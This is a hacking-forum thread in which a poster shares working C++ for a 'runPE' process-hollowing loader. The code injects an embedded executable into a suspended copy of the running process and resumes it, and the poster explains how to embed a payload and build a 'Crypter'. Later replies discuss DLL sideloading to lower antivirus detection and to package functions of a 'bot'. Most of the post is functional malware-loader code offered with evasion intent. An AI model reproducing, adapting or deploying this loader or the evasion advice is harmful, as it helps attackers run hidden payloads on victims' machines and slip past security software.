

Forum:[Hack Forums](#)

Thread: [32Bit \(x86\) runPE Method ~ PE Image Memory Injected to Suspended Process Thread](#)

Hackers - April 7, 2024, 4:24 pm

C++ Run PE Method

I decided to try out a really old method from 2016 to see if it would still work. It does! You can use this to push a 32bit program to a new process in runtime without any file dropping. It uses a suspended process and then injects to it via memory methods before resuming the suspended thread at the end.

Our 'main' function is very short. I actually modified a different prototype I am working on to write this thread up, so my example is using WinMain here. You can also compile differently. Just make sure you use RawPortableExecutable func! You can add on to this program by encrypting the data in the header, and then decrypting in runtime. For simplicity, this specific runPE method I'm sharing includes no encryption. You can check out my other threads for examples that do.

```
Code int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
lpCmdLine, int nCmdShow){
    RunPortableExecutable(rawData); // run executable from the array
    return 0;
}
```

The function that we will run does a few things:

- It checks if its a valid PE to use
- It creates a suspended process
- It allocates memory for the PE
- It finds the image base of the binary data in our header file
- It sets up permissions for the image / memory
- It writes the base image (your program) to the new process
- It then loops through the PE's sections to add headers
- It sets the entry point
- It resumes the suspended thread, now with the PE injected from previous steps

```
Code int RunPortableExecutable(void* Image)
{
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase; //Base address of the image
    void* pImageBase; // Pointer to the image base
```

```

int count;
char CurrentFilePath[1024];

DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
    ZeroMemory(&PI, sizeof(PI)); // Null the memory
    ZeroMemory(&SI, sizeof(SI)); // Null the memory

    if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
    {
        // Allocate memory for the context.
        CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT,
PAGE_READWRITE));
        CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

        if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
        {
            // Read instructions
            ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4,
0);

            pImageBase = VirtualAllocEx(PI.hProcess,
LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

            // Write the image to the process
            WriteProcessMemory(PI.hProcess, pImageBase, Image,
NtHeader->OptionalHeader.SizeOfHeaders, NULL);

            for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
            {
                SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) +
DOSHeader->e_lfanew + 248 + (count * 40));

                WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) +
SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData),
SectionHeader->SizeOfRawData, 0);
            }

            WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

            // Move address of entry point to the eax register
            CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;

```

```
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
ResumeThread(PI.hThread); // Start the process/call main()
```

```
return 0; // Operation was successful.
```

```
}
```

```
}
```

```
}
```

```
}
```

You don't 100% need this, but it's from original source for compilers/setups that don't have these vars defined already:

```
Code #ifdef _WIN64
```

```
    #define CONTEXTAX(CTX) CTX->Rax
```

```
    #define CONTEXTTBX(CTX) CTX->Rbx
```

```
#else
```

```
    #define CONTEXTAX(CTX) CTX->Eax
```

```
    #define CONTEXTTBX(CTX) CTX->Ebx
```

```
#endif
```

```
#define PE_INVALID -1
```

In order to correctly compile, you will need to generate the datastream.h file which holds your original program's binary data.

One way to do that is to use HxD, a free program. Just drag & drop (or open) your original program into HxD, then select all bytes. Then go to the Edit dropdown and copy as 'C' which will be a C/C++ header file for you to use.

Once your header file is in place, you can compile so that your final program '2016 Crypter.exe' injects the PE in runtime!

You can see the original here:

Code

<https://github.com/AjadoAduragbemi/Run-PE---Run-Portable-Executable-From-Memory/tree/master>

I hope this thread was helpful to you!

Looking for something else that's cool? Check out this proof of concept:

<https://hackforums.net/showthread.php?tid=6267630>

nice work. there are a couple macros that could make your life easier for parsing pe files

```
Code for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
    SectionHeader =
(PIMAGE_SECTION_HEADER)((DWORD)IMAGE_FIRST_SECTION(NtHeader) + (count *
IMAGE_SIZEOF_SECTION_HEADER));

}
```

Hackers - April 8, 2024, 7:56 am

(Apr 7, 2024 08:26 PM)ttbr0 Wrote: [\[CITE\]](#) nice work. there are a couple macros that could make your life easier for parsing pe files

```
Code for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
    SectionHeader =
(PIMAGE_SECTION_HEADER)((DWORD)IMAGE_FIRST_SECTION(NtHeader) + (count *
IMAGE_SIZEOF_SECTION_HEADER));

}
```

Thanks, I appreciate that!

I ended up actually converting this code to have 64bit support too. I'll probably share again in future for that, I also converted it to a DLL so it's easier to use in other programs rather than it just being raw code.

PulseLink - April 8, 2024, 5:20 pm

another solid contribution.

I want to make a post on DLL sideloading as it has worked well for me recently.

Hackers - April 10, 2024, 5:46 am

(Apr 8, 2024 05:20 PM)PulseLink Wrote: [\[CITE\]](#) another solid contribution.

I want to make a post on DLL sideloading as it has worked well for me recently.

definitely, using the priority system you can do some pretty cool things for DLL loading.

I'm sure there are plenty of programs out there that don't call a module by direct path & are vulnerable to same-folder priority for DLLs - or any other path in priority system for Windows module searching that can be used.

PulseLink - April 10, 2024, 3:34 pm

(Apr 10, 2024 05:46 AM)nodes Wrote: [\[CITE\]](#) definitely, using the priority system you can do some pretty cool things for DLL loading.

I'm sure there are plenty of programs out there that don't call a module by direct path & are vulnerable to same-folder priority for DLLs - or any other path in priority system for Windows module searching that can be used.

I did a small post about this actually, check it out, i see that using dll has lowered av and allowed me to compact some functions of my bot into a nice little library

Hackers - April 10, 2024, 6:44 pm

(Apr 10, 2024 03:34 PM)PulseLink Wrote: [\[CITE\]](#) I did a small post about this actually, check it out, i see that using dll has lowered av and allowed me to compact some functions of my bot into a nice little library

I was just reading that. Definitely a good use of time. I'll probably convert the original source for BubblePop (I removed some stuff before releasing bubble) which is called Lucid DMT and turn it into a DLL soon. Been working with them more often to load DLLs in Python, but haven't used sideloading for crypters specifically yet